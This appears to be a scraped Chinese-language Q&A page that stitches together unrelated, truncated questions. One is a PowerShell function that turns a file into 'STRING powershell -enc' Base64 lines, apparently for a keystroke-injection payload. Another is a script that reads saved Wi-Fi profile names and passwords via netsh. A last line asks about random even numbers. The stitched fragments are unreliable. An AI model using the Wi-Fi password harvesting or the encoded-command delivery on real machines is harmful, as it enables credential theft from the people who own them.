我有以下将文件转换为 Base64 的函数。如果未输入文件路径,如何使该函数接受文件路径的默认值?
B64 -f $文件路径
function B64{
param (
[Parameter (Mandatory = $True, ValueFromPipeline = $True)]
[Alias("file")]
$f
)
$File = "\converted.txt"
$FilePath = ([Environment]::GetFolderPath("Desktop")+$File)
$Content = Get-Content -Path $f
$converted = [convert]::ToBase64String([System.Text.encoding]::Unicode.GetBytes($Content))
$numChar = $converted.length
$incriment = 275
$pre = "STRING powershell -enc "
$string = "STRING "
function splitLines{
While ($converted)
{
$x,$converted = ([char[]]$converted).where({$_},'Split',$incriment)
$x -join ''
}
}
Run Code Online (Sandbox Code Playgroud) 我一直在思考这个问题,但无法弄清楚我是如何在这里失去诚信的......
\n我尝试将以下脚本转换为 Base64:
\nFunction Get-Networks { \n $Network = Get-WmiObject Win32_NetworkAdapterConfiguration | where { $_.MACAddress -notlike $null } | select Index, Description, IPAddress, DefaultIPGateway, MACAddress | Format-Table Index, Description, IPAddress, DefaultIPGateway, MACAddress \n $WLANProfileNames = @() \n $Output = netsh.exe wlan show profiles | Select-String -pattern " : " \n Foreach ($WLANProfileName in $Output) { \n $WLANProfileNames += (($WLANProfileName -split ":")[1]).Trim() \n } \n $WLANProfileObjects = @() \n Foreach ($WLANProfileName in $WLANProfileNames) { \n try { \n $WLANProfilePassword …Run Code Online (Sandbox Code Playgroud) 我见过一些草率的方法来实现这一点,但我认为有人有一个简单干净的方法。只是尝试生成 10 到 50 之间的 1 个随机偶数。